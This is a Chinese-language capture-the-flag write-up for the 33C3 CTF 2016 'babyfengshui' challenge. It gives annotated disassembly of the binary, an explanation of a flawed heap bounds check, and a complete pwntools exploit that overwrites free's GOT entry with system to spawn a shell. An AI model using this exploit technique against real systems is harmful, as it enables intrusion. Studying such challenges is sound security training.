# 6.1.20 pwn 33C3CTF2016 babyfengshui - [题目复现](#题目复现) - [题目解析](#题目解析) - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) [下载文件](../src/writeup/6.1.20_pwn_33c3ctf2016_babyfengshui) ## 题目复现 ```text $ file babyfengshui babyfengshui: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cecdaee24200fe5bbd3d34b30404961ca49067c6, stripped $ checksec -f babyfengshui RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 3 babyfengshui $ strings libc-2.19.so | grep "GNU C" GNU C Library (Debian GLIBC 2.19-18+deb8u6) stable release version 2.19, by Roland McGrath et al. Compiled by GNU CC version 4.8.4. ``` 32 位程序，开启了 canary 和 NX。 在 Ubuntu-14.04 上玩一下，添加 user 和显示 user： ```text $ ./babyfengshui 0: Add a user 1: Delete a user 2: Display a user 3: Update a user description 4: Exit Action: 0 size of description: 10 # description 最大长度（desc_size） name: AAAA text length: 5 # description 实际长度（text_size） text: aaaa 0: Add a user 1: Delete a user 2: Display a user 3: Update a user description 4: Exit Action: 2 index: 0 name: AAAA description: aaaa ``` 对于 description 的调整只能在最大长度的范围内，否则程序退出： ```text 0: Add a user 1: Delete a user 2: Display a user 3: Update a user description 4: Exit Action: 3 index: 0 text length: 20 my l33t defenses cannot be fooled, cya! ``` ## 题目解析 ### Add a user ```text [0x080485c0]> pdf @ sub.malloc_816 / (fcn) sub.malloc_816 239 | sub.malloc_816 (int arg_8h); | ; var int local_1ch @ ebp-0x1c | ; var int local_14h @ ebp-0x14 | ; var int local_10h @ ebp-0x10 | ; var int local_ch @ ebp-0xc | ; arg int arg_8h @ ebp+0x8 | ; CALL XREF from 0x08048b21 (main) | 0x08048816 push ebp | 0x08048817 mov ebp, esp | 0x08048819 sub esp, 0x28 ; '(' | 0x0804881c mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8 | 0x0804881f mov dword [local_1ch], eax ; 将参数 desc_size 放到 [local_1ch] | 0x08048822 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20 | 0x08048828 mov dword [local_ch], eax | 0x0804882b xor eax, eax | 0x0804882d sub esp, 0xc | 0x08048830 push dword [local_1ch] | 0x08048833 call sym.imp.malloc ; [local_14h] = malloc(desc_size) 为 description 分配空间 | 0x08048838 add esp, 0x10 | 0x0804883b mov dword [local_14h], eax | 0x0804883e sub esp, 4 | 0x08048841 push dword [local_1ch] | 0x08048844 push 0 | 0x08048846 push dword [local_14h] | 0x08048849 call sym.imp.memset ; memset([local_14h], 0, desc_size) 初始化 | 0x0804884e add esp, 0x10 | 0x08048851 sub esp, 0xc | 0x08048854 push 0x80 ; 128 | 0x08048859 call sym.imp.malloc ; [local_10h] = malloc(0x80) 为 user struct 分配空间 | 0x0804885e add esp, 0x10 | 0x08048861 mov dword [local_10h], eax | 0x08048864 sub esp, 4 | 0x08048867 push 0x80 ; 128 | 0x0804886c push 0 | 0x0804886e push dword [local_10h] | 0x08048871 call sym.imp.memset ; memset([local_10h], 0, 0x80) 初始化 | 0x08048876 add esp, 0x10 | 0x08048879 mov eax, dword [local_10h] | 0x0804887c mov edx, dword [local_14h] | 0x0804887f mov dword [eax], edx ; user->desc = desc ; desc = [local_14h] | 0x08048881 movzx eax, byte [0x804b069] ; [0x804b069:1]=0 ; 取出序号 i | 0x08048888 movzx eax, al | 0x0804888b mov edx, dword [local_10h] | 0x0804888e mov dword [eax*4 + 0x804b080], edx ; store[i] = user 将 user 放到数组里 | 0x08048895 sub esp, 0xc | 0x08048898 push str.name: ; 0x8048cf3 ; "name: " | 0x0804889d call sym.imp.printf ; int printf(const char *format) | 0x080488a2 add esp, 0x10 | 0x080488a5 movzx eax, byte [0x804b069] ; [0x804b069:1]=0 | 0x080488ac movzx eax, al | 0x080488af mov eax, dword [eax*4 + 0x804b080] ; 取出 store[i] | 0x080488b6 add eax, 4 ; 取出 store[i]->name | 0x080488b9 sub esp, 8 | 0x080488bc push 0x7c ; '|' ; 124 | 0x080488be push eax | 0x080488bf call sub.fgets_6bb ; 读入 0x7c 个字符到 store[i]->name，将末尾的 '\n' 换成 '\x00' | 0x080488c4 add esp, 0x10 | 0x080488c7 movzx eax, byte [0x804b069] ; [0x804b069:1]=0 | 0x080488ce add eax, 1 ; 序号 i = i + 1 | 0x080488d1 mov byte [0x804b069], al ; [0x804b069:1]=0 ; 写回去 | 0x080488d6 movzx eax, byte [0x804b069] ; [0x804b069:1]=0 ; 取出 i | 0x080488dd sub eax, 1 ; i = i - 1 | 0x080488e0 movzx eax, al | 0x080488e3 sub esp, 0xc | 0x080488e6 push eax | 0x080488e7 call sub.text_length:_724 ; 调用更新 description 的函数，参数为 i | 0x080488ec add esp, 0x10 | 0x080488ef mov eax, dword [local_10h] | 0x080488f2 mov ecx, dword [local_ch] | 0x080488f5 xor ecx, dword gs:[0x14] | ,=< 0x080488fc je 0x8048903 | | 0x080488fe call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) | | ; JMP XREF from 0x080488fc (sub.malloc_816) | `-> 0x08048903 leave \ 0x08048904 ret ``` 函数首先分配一个 description 的最大空间，然后分配 user 结构体空间，并将 user 放到 store 数组中，最后调用更新 description 的函数。 user 结构体和 store 数组如下： ```c struct user { char *desc; char name[0x7c]; } user; struct user *store[50]; ``` store 放在 `0x804b080`，当前 user 个数 user_num 放在 `0x804b069`。 ### Delete a user ```text [0x080485c0]> pdf @ sub.free_905 / (fcn) sub.free_905 138 | sub.free_905 (int arg_8h); | ; var int local_1ch @ ebp-0x1c | ; var int local_ch @ ebp-0xc | ; arg int arg_8h @ ebp+0x8 | ; CALL XREF from 0x08048b5f (main) | 0x08048905 push ebp | 0x08048906 mov ebp, esp | 0x08048908 sub esp, 0x28 ; '(' | 0x0804890b mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8 | 0x0804890e mov byte [local_1ch], al ; 将参数 i 放到 [local_1ch] | 0x08048911 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20 | 0x08048917 mov dword [local_ch], eax | 0x0804891a xor eax, eax | 0x0804891c movzx eax, byte [0x804b069] ; [0x804b069:1]=0 ; 取出 user_num | 0x08048923 cmp byte [local_1ch], al ; [0x2:1]=255 ; 2 ; 比较 | ,=< 0x08048926 jae 0x8048978 ; i 大于等于 user_num 时函数返回 | | 0x08048928 movzx eax, byte [local_1ch] | | 0x0804892c mov eax, dword [eax*4 + 0x804b080] ; 取出 store[i] | | 0x08048933 test eax, eax ; store[i] 为 0 是函数返回 | ,==< 0x08048935 je 0x804897b | || 0x08048937 movzx eax, byte [local_1ch] | || 0x0804893b mov eax, dword [eax*4 + 0x804b080] ; [0x804b080:4]=0 | || 0x08048942 mov eax, dword [eax] ; 取出 store[i]->desc | || 0x08048944 sub esp, 0xc | || 0x08048947 push eax | || 0x08048948 call sym.imp.free ; free(store[i]->desc) 释放 description | || 0x0804894d add esp, 0x10 | || 0x08048950 movzx eax, byte [local_1ch] | || 0x08048954 mov eax, dword [eax*4 + 0x804b080] ; 取出 store[i] | || 0x0804895b sub esp, 0xc | || 0x0804895e push eax | || 0x0804895f call sym.imp.free ; free(store[i]) 释放 user | || 0x08048964 add esp, 0x10 | || 0x08048967 movzx eax, byte [local_1ch] | || 0x0804896b mov dword [eax*4 + 0x804b080], 0 ; 将 store[i] 置为 0 | ,===< 0x08048976 jmp 0x804897c | ||| ; JMP XREF from 0x08048926 (sub.free_905) | ||`-> 0x08048978 nop | ||,=< 0x08048979 jmp 0x804897c | ||| ; JMP XREF from 0x08048935 (sub.free_905) | |`--> 0x0804897b nop | | | ; JMP XREF from 0x08048979 (sub.free_905) | | | ; JMP XREF from 0x08048976 (sub.free_905) | `-`-> 0x0804897c mov eax, dword [local_ch] | 0x0804897f xor eax, dword gs:[0x14] | ,=< 0x08048986 je 0x804898d | | 0x08048988 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) | | ; JMP XREF from 0x08048986 (sub.free_905) | `-> 0x0804898d leave \ 0x0804898e ret ``` 删除的过程将 description 和 user 依次释放，并将 store[i] 置为 0。 但是 user->desc 没有被置为 0，user_num 也没有减 1，似乎可能导致 UAF，但不知道怎么用。 ### Display a user ```text [0x080485c0]> pdf @ sub.name:__s_98f / (fcn) sub.name:__s_98f 136 | sub.name:__s_98f (int arg_8h); | ; var int local_1ch @ ebp-0x1c | ; var int local_ch @ ebp-0xc | ; arg int arg_8h @ ebp+0x8 | ; CALL XREF from 0x08048b9d (main) | 0x0804898f push ebp | 0x08048990 mov ebp, esp | 0x08048992 sub esp, 0x28 ; '(' | 0x08048995 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8 | 0x08048998 mov byte [local_1ch], al ; 将参数 i 放到 [local_1ch] | 0x0804899b mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20 | 0x080489a1 mov dword [local_ch], eax | 0x080489a4 xor eax, eax | 0x080489a6 movzx eax, byte [0x804b069] ; [0x804b069:1]=0 ; 取出 user_num | 0x080489ad cmp byte [local_1ch], al ; [0x2:1]=255 ; 2 ; 比较 | ,=< 0x080489b0 jae 0x8048a00 ; i 大于等于 user_num 时函数返回 | | 0x080489b2 movzx eax, byte [local_1ch] | | 0x080489b6 mov eax, dword [eax*4 + 0x804b080] ; 取出 store[i] | | 0x080489bd test eax, eax | ,==< 0x080489bf je 0x8048a03 ; store[i] 为 0 时函数返回 | || 0x080489c1 movzx eax, byte [local_1ch] | || 0x080489c5 mov eax, dword [eax*4 + 0x804b080] ; [0x804b080:4]=0 | || 0x080489cc add eax, 4 ; 取出 store[i]->name | || 0x080489cf sub esp, 8 | || 0x080489d2 push eax | || 0x080489d3 push str.name:__s ; 0x8048cfa ; "name: %s\n" | || 0x080489d8 call sym.imp.printf ; 打印 store[i]->name | || 0x080489dd add esp, 0x10 | || 0x080489e0 movzx eax, byte [local_1ch] | || 0x080489e4 mov eax, dword [eax*4 + 0x804b080] ; [0x804b080:4]=0 | || 0x080489eb mov eax, dword [eax] ; 取出 store[i]->desc | || 0x080489ed sub esp, 8 | || 0x080489f0 push eax | || 0x080489f1 push str.description:__s ; 0x8048d04 ; "description: %s\n" | || 0x080489f6 call sym.imp.printf ; 打印 store[i]->desc | || 0x080489fb add esp, 0x10 | ,===< 0x080489fe jmp 0x8048a04 | ||| ; JMP XREF from 0x080489b0 (sub.name:__s_98f) | ||`-> 0x08048a00 nop | ||,=< 0x08048a01 jmp 0x8048a04 | ||| ; JMP XREF from 0x080489bf (sub.name:__s_98f) | |`--> 0x08048a03 nop | | | ; JMP XREF from 0x08048a01 (sub.name:__s_98f) | | | ; JMP XREF from 0x080489fe (sub.name:__s_98f) | `-`-> 0x08048a04 mov eax, dword [local_ch] | 0x08048a07 xor eax, dword gs:[0x14] | ,=< 0x08048a0e je 0x8048a15 | | 0x08048a10 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) | | ; JMP XREF from 0x08048a0e (sub.name:__s_98f) | `-> 0x08048a15 leave \ 0x08048a16 ret ``` 函数首先判断 store[i] 是否存在，如果是，就打印出 name 和 description。 ### Update a user description ```text [0x080485c0]> pdf @ sub.text_length:_724 / (fcn) sub.text_length:_724 242 | sub.text_length:_724 (int arg_8h); | ; var int local_1ch @ ebp-0x1c | ; var int local_11h @ ebp-0x11 | ; var int local_10h @ ebp-0x10 | ; var int local_ch @ ebp-0xc | ; arg int arg_8h @ ebp+0x8 | ; CALL XREF from 0x08048bdb (main) | ; CALL XREF from 0x080488e7 (sub.malloc_816) | 0x08048724 push ebp | 0x08048725 mov ebp, esp | 0x08048727 sub esp, 0x28 ; '(' | 0x0804872a mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8 | 0x0804872d mov byte [local_1ch], al ; 将参数 i 放到 [local_1ch] | 0x08048730 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20 | 0x08048736 mov dword [local_ch], eax | 0x08048739 xor eax, eax | 0x0804873b movzx eax, byte [0x804b069] ; [0x804b069:1]=0 ; 取出 user_num | 0x08048742 cmp byte [local_1ch], al ; [0x2:1]=255 ; 2 ; 比较 | ,=< 0x08048745 jae 0x80487ff ; i 大于等于 user_num 时函数返回 | | 0x0804874b movzx eax, byte [local_1ch] | | 0x0804874f mov eax, dword [eax*4 + 0x804b080] ; 取出 store[i] | | 0x08048756 test eax, eax | ,==< 0x08048758 je 0x8048802 ; store[i] 为 0 时函数返回 | || 0x0804875e mov dword [local_10h], 0 ; text_size 放到 [local_10h] | || 0x08048765 sub esp, 0xc | || 0x08048768 push str.text_length: ; 0x8048cb0 ; "text length: " | || 0x0804876d call sym.imp.printf ; int printf(const char *format) | || 0x08048772 add esp, 0x10 | || 0x08048775 sub esp, 4 | || 0x08048778 lea eax, [local_11h] | || 0x0804877b push eax | || 0x0804877c lea eax, [local_10h] | || 0x0804877f push eax | || 0x08048780 push str.u_c ; 0x8048cbe ; "%u%c" | || 0x08048785 call sym.imp.__isoc99_scanf ; 读入 text_size | || 0x0804878a add esp, 0x10 | || 0x0804878d movzx eax, byte [local_1ch] | || 0x08048791 mov eax, dword [eax*4 + 0x804b080] ; [0x804b080:4]=0 | || 0x08048798 mov eax, dword [eax] ; 取出 store[i]->desc | || 0x0804879a mov edx, eax | || 0x0804879c mov eax, dword [local_10h] ; 取出 test_size | || 0x0804879f add edx, eax ; store[i]->desc + test_size | || 0x080487a1 movzx eax, byte [local_1ch] | || 0x080487a5 mov eax, dword [eax*4 + 0x804b080] ; 取出 store[i] | || 0x080487ac sub eax, 4 ; store[i] - 4 | || 0x080487af cmp edx, eax ; 比较 (store[i]->desc + test_size) 和 (store[i] - 4) | ,===< 0x080487b1 jb 0x80487cd ; 小于时跳转 | ||| 0x080487b3 sub esp, 0xc ; 否则继续，程序退出 | ||| 0x080487b6 push str.my_l33t_defenses_cannot_be_fooled__cya ; 0x8048cc4 ; "my l33t defenses cannot be fooled, cya!" | ||| 0x080487bb call sym.imp.puts ; int puts(const char *s) | ||| 0x080487c0 add esp, 0x10 | ||| 0x080487c3 sub esp, 0xc | ||| 0x080487c6 push 1 ; 1 | ||| 0x080487c8 call sym.imp.exit ; void exit(int status) | ||| ; JMP XREF from 0x080487b1 (sub.text_length:_724) | `---> 0x080487cd sub esp, 0xc | || 0x080487d0 push str.text: ; 0x8048cec ; "text: " | || 0x080487d5 call sym.imp.printf ; int printf(const char *format) | || 0x080487da add esp, 0x10 | || 0x080487dd mov eax, dword [local_10h] | || 0x080487e0 lea edx, [eax + 1] ; test_size + 1 | || 0x080487e3 movzx eax, byte [local_1ch] | || 0x080487e7 mov eax, dword [eax*4 + 0x804b080] ; [0x804b080:4]=0 | || 0x080487ee mov eax, dword [eax] ; 取出 store[i]->desc | || 0x080487f0 sub esp, 8 | || 0x080487f3 push edx | || 0x080487f4 push eax | || 0x080487f5 call sub.fgets_6bb ; 读入 test_size+1 个字符到 store[i]->desc | || 0x080487fa add esp, 0x10 | ,===< 0x080487fd jmp 0x8048803 | ||| ; JMP XREF from 0x08048745 (sub.text_length:_724) | ||`-> 0x080487ff nop | ||,=< 0x08048800 jmp 0x8048803 | ||| ; JMP XREF from 0x08048758 (sub.text_length:_724) | |`--> 0x08048802 nop | | | ; JMP XREF from 0x08048800 (sub.text_length:_724) | | | ; JMP XREF from 0x080487fd (sub.text_length:_724) | `-`-> 0x08048803 mov eax, dword [local_ch] | 0x08048806 xor eax, dword gs:[0x14] | ,=< 0x0804880d je 0x8048814 | | 0x0804880f call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) | | ; JMP XREF from 0x0804880d (sub.text_length:_724) | `-> 0x08048814 leave \ 0x08048815 ret ``` 该函数读入新的 text_size，并使用 `(store[i]->desc + test_size) < (store[i] - 4)` 的条件来防止堆溢出，最后读入新的 description。 然而这种检查方式是有问题的，它基于 description 正好位于 user 前面这种设定。根据我们对堆分配器的理解，这个设定不一定成立，它们之间可能会包含其他已分配的堆块，从而绕过检查。 ## 漏洞利用 所以我们首先添加两个 user，用于绕过检查。第 3 个 user 存放 "/bin/sh"。然后删掉第 1 个 user，并创建一个 description 很长的 user，其长度是第 1 个 user 的 description 长度加上 user 结构体长度。这时候检查就绕过了，我们可以在添加新 user 的时候修改 description 大小，造成堆溢出，并修改第 2 个 user 的 user->desc 为 `free@got.plt`，从而泄漏出 libc 地址。得到 system 地址后，此时修改第 2 个 user 的 description，其实是修改 free 的 GOT，所以我们将其改成 `system@got.plt`。最后删除第 3 个 user，触发 system('/bin/sh')，得到 shell。 开启 ASLR。Bingo!!! ```text $ python exp.py [+] Starting local process './babyfengshui': pid 2269 [*] system address: 0xf75e23e0 [*] Switching to interactive mode $ whoami firmy ``` ### exploit 完整的 exp 如下： ```python #!/usr/bin/env python from pwn import * #context.log_level = 'debug' io = process(['./babyfengshui'], env={'LD_PRELOAD':'./libc-2.19.so'}) elf = ELF('babyfengshui') libc = ELF('libc-2.19.so') def add_user(size, length, text): io.sendlineafter("Action: ", '0') io.sendlineafter("description: ", str(size)) io.sendlineafter("name: ", 'AAAA') io.sendlineafter("length: ", str(length)) io.sendlineafter("text: ", text) def delete_user(idx): io.sendlineafter("Action: ", '1') io.sendlineafter("index: ", str(idx)) def display_user(idx): io.sendlineafter("Action: ", '2') io.sendlineafter("index: ", str(idx)) def update_desc(idx, length, text): io.sendlineafter("Action: ", '3') io.sendlineafter("index: ", str(idx)) io.sendlineafter("length: ", str(length)) io.sendlineafter("text: ", text) if __name__ == "__main__": add_user(0x80, 0x80, 'AAAA') # 0 add_user(0x80, 0x80, 'AAAA') # 1 add_user(0x8, 0x8, '/bin/sh\x00') # 2 delete_user(0) add_user(0x100, 0x19c, "A"*0x198 + p32(elf.got['free'])) # 0 display_user(1) io.recvuntil("description: ") free_addr = u32(io.recvn(4)) system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system']) log.info("system address: 0x%x" % system_addr) update_desc(1, 0x4, p32(system_addr)) delete_user(2) io.interactive() ``` ## 参考资料 - -